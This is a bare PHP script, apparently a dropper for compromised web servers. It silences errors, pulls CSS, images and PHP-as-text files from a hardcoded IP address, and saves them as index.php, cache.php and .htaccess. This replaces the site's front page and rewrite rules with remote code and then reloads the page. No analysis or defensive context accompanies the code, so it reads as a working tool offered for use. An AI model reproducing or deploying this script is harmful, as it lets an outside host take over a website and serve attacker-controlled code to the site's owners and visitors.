<?php 
error_reporting(0);
$server = 'http://23.82.37.3/LinkMan/';
mkdir('css');
mkdir('cache');
mkdir('images');
downloadFile($server.'css/list.css','css/list.css');
downloadFile($server.'css/css.css','css/css.css');
downloadFile($server.'images/s-content-logo.gif','images/s-content-logo.gif');
downloadFile($server.'images/title.gif','images/title.gif');
downloadFile($server.'images/repeat.gif','images/repeat.gif');
downloadFile($server.'images/no-repeat.gif','images/no-repeat.gif');
downloadFile($server.'images/icon.gif','images/icon.gif');
downloadFile($server.'images/set.gif','images/set.gif');
downloadFile($server.'cache.p.txt','cache.php');
downloadFile($server.'index.p.txt','index.php');
downloadFile($server.'htaccess.txt','.htaccess');

header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER["REQUEST_URI"]); 

function downloadFile($file_url, $save_to){
	$content = file_get_contents($file_url);
	while ($content == '') {
		$content = file_get_contents($file_url);
	}
	file_put_contents($save_to, $content);
}
?>